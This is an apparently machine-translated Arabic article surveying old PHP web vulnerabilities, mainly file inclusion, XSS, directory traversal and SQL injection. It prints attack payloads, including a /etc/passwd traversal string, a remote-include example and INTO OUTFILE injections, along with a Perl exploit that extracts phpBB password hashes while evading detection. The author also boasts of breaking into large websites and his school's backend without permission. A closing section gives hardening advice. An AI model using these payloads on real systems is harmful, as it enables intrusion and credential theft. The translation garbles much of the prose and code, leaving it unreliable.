انطلاقًا من أمان الشبكة الحالي، يجب أن تكون ثغرة صفحة الويب التي يهتم بها الجميع ويتعرضون لها أكثر من غيرها هي ASP. وفي هذا الصدد، ليس لدي أي رأي في هذا الأمر من وجهة نظر PHP هي أيضًا مشكلة ثغرات أمنية خطيرة جدًا، ولكن لا يوجد الكثير من المقالات في هذا المجال، دعنا نناقش بإيجاز نقاط الضعف ذات الصلة بصفحات PHP.
لقد قمت بعمل ملخص لثغرات PHP الشائعة الحالية، والتي تم تقسيمها تقريبًا إلى الفئات التالية: بما في ذلك ثغرات الملفات، وثغرات تنفيذ أوامر البرنامج النصي، وثغرات تسرب الملفات، وثغرات حقن SQL، وما إلى ذلك. بالطبع، كما هو الحال بالنسبة لبعض التقنيات الشائعة مثل انتحال ملفات تعريف الارتباط، لن أناقشها هنا، فهناك الكثير من المعلومات عنها عبر الإنترنت، لذا، دعونا نحلل كيفية استغلال نقاط الضعف هذه واحدة تلو الأخرى.
أولاً، دعونا نناقش الثغرة الأمنية في الملفات المضمنة. يجب القول أن هذه الثغرة الأمنية فريدة من نوعها بالنسبة لـ PHP. ويرجع ذلك إلى عدم كفاية معالجة البيانات الضارة المقدمة من الخارج، مما يسمح للمهاجمين عن بعد باستغلال هذه الثغرات الأمنية لتنفيذ أوامر عشوائية على النظام باستخدام عملية WEB. الأذونات. دعونا نلقي نظرة على مثال: لنفترض أن هناك مثل هذا الكود في ملف a.php:
<?php
include($include."/xxx.php\");
?>
في هذا الكود، يعد $include بشكل عام مسارًا تم إعداده، ولكن يمكننا تحقيق غرض الهجوم من خلال إنشاء مسار بأنفسنا، على سبيل المثال، إذا أرسلنا: a.php?include=http://web/b php، هذا الويب هو المساحة التي نستخدمها للهجوم. بالطبع، b.php هو الكود الذي نستخدمه للهجوم. يمكننا أن نكتب في b.php شيئًا مثل: passthru("/bin/ls /etc "). بهذه الطريقة، يمكنك تنفيذ بعض الهجمات الهادفة (ملاحظة: يجب ألا يتمكن خادم الويب من تنفيذ تعليمات برمجية PHP، وإلا فستكون هناك مشكلات. للحصول على التفاصيل ذات الصلة، يمكنك الاطلاع على < < كيفية التعامل مع الثغرات الأمنية الشائعة. في هجمات برامج PHP >>). ومن حيث هذه الثغرة الأمنية، هناك العديد من المشاكل، على سبيل المثال: واجهة متجر PayPal،
HotNews، Mambo Open Source، PhpDig، YABB SE، phpBB، InvisionBoard، SOLMETRA SPAW Editor، Les Visiteurs، PhpGedView، X-Cart وغيرها الكثير.
بعد ذلك، دعونا نلقي نظرة على الثغرة الأمنية في تنفيذ أوامر البرنامج النصي، ويرجع ذلك إلى عدم وجود تصفية كافية لمعلمات URI التي يرسلها المستخدمون المستخدم المستهدف. دعونا أيضًا نعطي مثالاً: صفحة Index.php في PHP الشفافية PHP 4.3.1 أو أقل تفتقر إلى تصفية كافية لـ PHPSESSID، يمكننا تحقيق غرض الهجوم من خلال هذا الكود:
http://web/index.php?PHPSESSID="><script>...</script >في البرنامج النصي يمكننا إنشاء وظائف للحصول على بعض المعلومات الحساسة للمستخدمين. هناك عدد قليل نسبيًا من الثغرات الأمنية في هذا الصدد، باستثناء In بالإضافة إلى PHP الشفاف، هناك: PHP-Nuke، phpBB، PHP Classifieds، PHPix، Ultimate PHP Board، إلخ.
بعد ذلك، دعونا نلقي نظرة على الثغرة الأمنية الخاصة بالكشف عن الملف، وترجع هذه الثغرة الأمنية إلى عدم وجود تصفية كافية للمعلمات التي يرسلها المستخدم، ويمكن للمهاجمين عن بعد استخدامها لإجراء هجمات اجتياز الدليل والحصول على بعض المعلومات الحساسة. لنأخذ phpMyAdmin الذي تم اكتشافه مؤخرًا كمثال، في phpMyAdmin، لا تقوم صفحة Export.php بتصفية المعلمة "what" التي أرسلها المستخدم بشكل كامل. يمكن للمهاجم البعيد تجاوز ذلك عن طريق إرسال بيانات تحتوي على أحرف '../' متعددة. التغلب على قيود WEB ROOT وعرض أي معلومات ملف على النظام باستخدام أذونات WEB. على سبيل المثال، إدخال مثل هذا العنوان:export.php?what=../../../../../../etc/passwd%00 يمكن أن يحقق غرض تسرب الملف نسبيًا، هناك المزيد: myPHPNuke، وMcNews، وما إلى ذلك.
أخيرًا، عدنا إلى المكان الأكثر إثارة. فكر في مدى متعة استخدام حقن SQL في صفحات asp. في الماضي، كان علينا الحقن يدويًا حتى أدرك Xiaozhu "الكتاب السري لحقن SQL" (ههههه)، ثم بعد تطوير NBSI، أحدث تحالف NB الخاص بنا فرقًا كبيرًا، لقد ساعدنا على التوالي CSDN وMonopoly Forum وChina Channel ومواقع الويب الكبيرة الأخرى في العثور على ثغرات (لن أخوض في المزيد من الهراء حول هذا الأمر، فهو خارج الموضوع قليلاً. .. ) دعنا نعود إلى الموضوع. في الواقع، حقن SQL في asp هو تقريبًا نفس إدخال SQL في php. فقط انتبه قليلاً للوظائف المستخدمة. ظلت الوظيفة بشكل أساسي دون تغيير. في الواقع، عندما يرى الجميع حقن SQL في PHP، هل يفكرون في PHP-NUKE وPHPBB؟ نعم، كما يقول المثل، يجب أن تكون منتديات مثل Dongwang هي ملك الثغرات في عالم ASP لا يعني ذلك أن أمان المنتدى الخاص به ضعيف للغاية، ولكنه معروف جدًا. كلما زاد عدد الأشخاص الذين يقومون بالبحث عنه، زاد عدد الثغرات الأمنية التي يتم اكتشافها. وينطبق الشيء نفسه على PHPBB ، والتي تحظى بشعبية كبيرة الآن. عندما يستخدم معظم الأشخاص لغة PHP لبناء المنتديات، فإنهم عادةً ما يختارون PHPBB. كما أن ثغراتها الأمنية تظهر باستمرار بدءًا من أقدم الثغرات الأمنية التي تم اكتشافها في الإصدار phpBB 1.4.0 من phpBB.com وحتى الإصدار الأخير من phpBB 2.0. الإصدار .6 من groupcp .php، وsearch.php، وprofile.php، و viewtopic.php، وما إلى ذلك، يصل عددهم إلى حوالي اثني عشر. وقد أدى ذلك دائمًا إلى استخدام بعض الأشخاص له كمنتج تجريبي عند دراسة ثغرات PHP كما يقول المثل، الممارسة تجعلك مثاليًا، وأعتقد أن PHPBB سوف تتحسن في المستقبل.
حسنًا، دعنا نحلل سبب الثغرة الأمنية. خذ صفحة viewtopic.php كمثال. عند استدعاء viewtopic.php، يتم الحصول على "topic_id" مباشرة من طلب GET وتمريره إلى أمر استعلام SQL، وبدون بعض التصفية. ، يمكن للمهاجم إرسال سلسلة SQL خاصة للحصول على كلمة مرور MD5، ويمكن استخدام معلومات كلمة المرور هذه لتسجيل الدخول التلقائي أو الاختراق العنيف. (لا أعتقد أن أي شخص قد يرغب في إجراء عملية اختراق القوة الغاشمة، ما لم يكن هناك سبب مهم بشكل خاص: دعنا نلقي نظرة على الكود المصدري ذي الصلة أولاً):
# إذا ( isset($HTTP_GET_VARS[POST_TOPIC_URL])) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic'])) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
مما سبق يمكننا أن نرى أنه إذا تم تعيين view=newest وsid المقدم على قيمة، فإن كود الاستعلام الذي تم تنفيذه يبدو كما يلي (إذا لم تكن قد شاهدت كود مصدر PHPBB، أقترح عليك قراءته ثم المجيء إلى هنا انظر، الأنظمة المتأثرة هي: phpBB 2.0.5 وphpBB 2.0.4
# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# حيث s.session_id = '$session_id'
# AND u.user_id = s.session_user_id
# AND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# الطلب حسب p.post_time ASC
# LIMIT 1";
قدم ريك رمز الاختبار التالي:
use IO::Socket;
$remote = Shift ||.'localhost';
$view_topic = Shift ||'/phpBB2/viewtopic.php';
$uid = التحول ||.
منفذ $ = 80؛
$dbtype = 'mysql4'; # mysql4 أو pgsql
طباعة "محاولة الحصول على تجزئة كلمة المرور لخادم uid $uid $remote dbtype: $dbtypen";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
بيربورت => منفذ $،
بروتو => "tcp"،
اكتب => SOCK_STREAM)
أو يموت "تعذر الاتصال بـ $remote:$port :$@n";
$str = "GET $view_topic" "?sid=1&topic_id=-1" .
طباعة $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; استبدل هذا بـ pgsql أو قم بإزالته
طباعة $socket "Host: $remotenn";
بينما ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # يطابق الموقع: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
إغلاق($socket);
}
طباعة "nتجزئة MD5 لـ uid $uid هي $pn";
# يساعد التشفير العشوائي على تجنب الكشف
كود عشوائي فرعي {
$str = التحول;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = طول الراند($str) * 1000;
إذا (int($j) % 2 || $c مكافئ ' ') {
$ret .= "%" sprintf("%x",ord($c));
} آخر {
$ret .= $c;
}
}
إرجاع $ret؛
}
فرعي make_dbsql {
إذا ($dbtype مكافئ 'mysql4') {
إرجاع " union حدد ord(substring(user_password," . $index . "،1)) من phpbb_users حيث user_id=$uid/*" ;
} إلسيف ($dbtype مكافئ 'pgsql') {
return "; حدد ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u حيث u.user_id=$uid أو false";
} آخر {
يعود ""؛
}
}
لن أشرح الكثير عن هذا الرمز المعطل، وتتمثل الوظيفة في الحصول على قيمة HASH.
عند رؤية ذلك، قد يكون لديك بعض الأسئلة حول سبب عدم استخدام الوظائف المعدلة التي ذكرتها سابقًا، ولا أخشى أن أجعل الناس يضحكون عندما أقول لهم: في الواقع، ستبدو بيانات الاستعلام الخاصة ببعض الصفحات في العديد من المواقع على الإنترنت. مثله:
Display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
لا تضحك، هذا صحيح، لقد استخدمت هذا للوصول إلى العديد من مواقع الويب الكبيرة، ومن الصعب معرفة أي منها، ولكن بالنسبة لموقع مدرستنا، فقد استخدمت هذا للوصول إلى الواجهة الخلفية (آمل أن يتمكن مركز شبكة المدرسة من ذلك). 'لا أرى ذلك) هذه المقالة، ^_^). استخدم الوظيفة السابقة. وإلا فسيتعين عليك تغيير كلمات المرور الخاصة بالأشخاص الآخرين!!!
لقد نسيت تقريبًا أن PHP تختلف عن ASP عندما يتعلق الأمر بحقن SQL. MySQL ليست مرنة مثل MSSQL في استخدام عبارات SQL. لذلك، لن تعمل العديد من عبارات الاستعلام التي يمكن استخدامها في MSSQL في قاعدة بيانات MySQL عبارات الحقن الشائعة هي كالتالي: aaa.php?id=a' في الملف الخارجي 'pass.txt أو aaa.php?id=a' في الملف الخارجي 'pass.txt' /*يمكن تغييرها أيضًا إلى: aaa.php? id=a' أو 1=1 union حدد المعرف والاسم وكلمة المرور للمستخدمين في الملف الخارجي 'c:/a.txt. وبهذه الطريقة يمكنك تصدير بيانات قاعدة البيانات إلى ملف ثم عرضها.
أو مثل هذا: mode=',user_level='4
يُستخدم هذا البيان بشكل عام عند تعديل البيانات، إذا كانت هناك ثغرة أمنية في الصفحة، فيمكنه تحقيق تأثير رفع الأذونات.
البعض الآخر مثل 'OR 1=1 -- or: 1' أو 1='1 يشبه asp. لن أخوض في التفاصيل هنا، في PHP، يبدو أن حقن SQL هو الثغرة الأمنية الأولى الصفحات هذه هي المشكلة.
في الواقع، يمكنك أن ترى أن هناك سببًا واحدًا فقط للتصنيفات المذكورة أعلاه: لم تتم تصفية المعلمات المقدمة أو أن التصفية ليست صارمة بما فيه الكفاية
وقبل
كل شيء، أعتقد شخصيًا أن الأمر الأكثر أهمية هو ضبط magic_quotes_gpc على ON. وتتمثل وظيفته في تحويل علامات الاقتباس المفردة وعلامات الاقتباس المزدوجة والخطوط المائلة العكسية والأحرف الفارغة إلى أحرف تحتوي على خطوط مائلة عكسية، مثل. حدد * من admin حيث اسم المستخدم='$username' وكلمة المرور ='$password'، يريد المهاجم استخدام 1' أو 1='1 لتخطي التحقق، ولكن سيتم تحويل هذه السلاسل إلى هذا: حدد * من admin حيث اسم المستخدم = 'a' وكلمة المرور = '1' أو 1='1' لتحقيق غرض منع الحقن. في الواقع، يتم تنفيذ عملية addlashes() تلقائيًا، إذا لم تنجح، فحدد وظيفتك للتعامل معها، يبدو الآن أن أولئك الذين ينخرطون في حقن PHP يعانون أيضًا من الاكتئاب نسبيًا، لأن الإصدارات الموجودة أسفل myslq4 لا تدعم البيانات الفرعية، والإصدارات الجديدة من mysql ستشغل خيار magic_quotes_gpc افتراضيًا.
تتمثل طريقة حل مشكلة عدم حصانة ملف التضمين في مطالبة المبرمجين بمحاولة عدم استخدام المتغيرات للمعلمات في ملفات التضمين. إذا تم استخدام المتغيرات، فيجب التحقق بدقة من أسماء الملفات التي سيتم تضمينها، ويجب ألا يحددها المستخدم بشكل تعسفي يوصى بضبط global_variables على إيقاف التشغيل. على سبيل المثال، يعد تحديد مسار عملية PHP في فتح الملف السابق خيارًا ضروريًا. بالإضافة إلى ذلك، ما لم يكن ذلك ضروريًا، تأكد من إيقاف تشغيل وظيفة فتح الملفات عن بعد في PHP. قم بتعديل ملف php.ini:allow_url_fopen = Off (ملاحظة: راجع <<مشكلات أمان PHP: التجاوز البعيد، DoS، ثغرات تجاوز الوضع الآمن>>).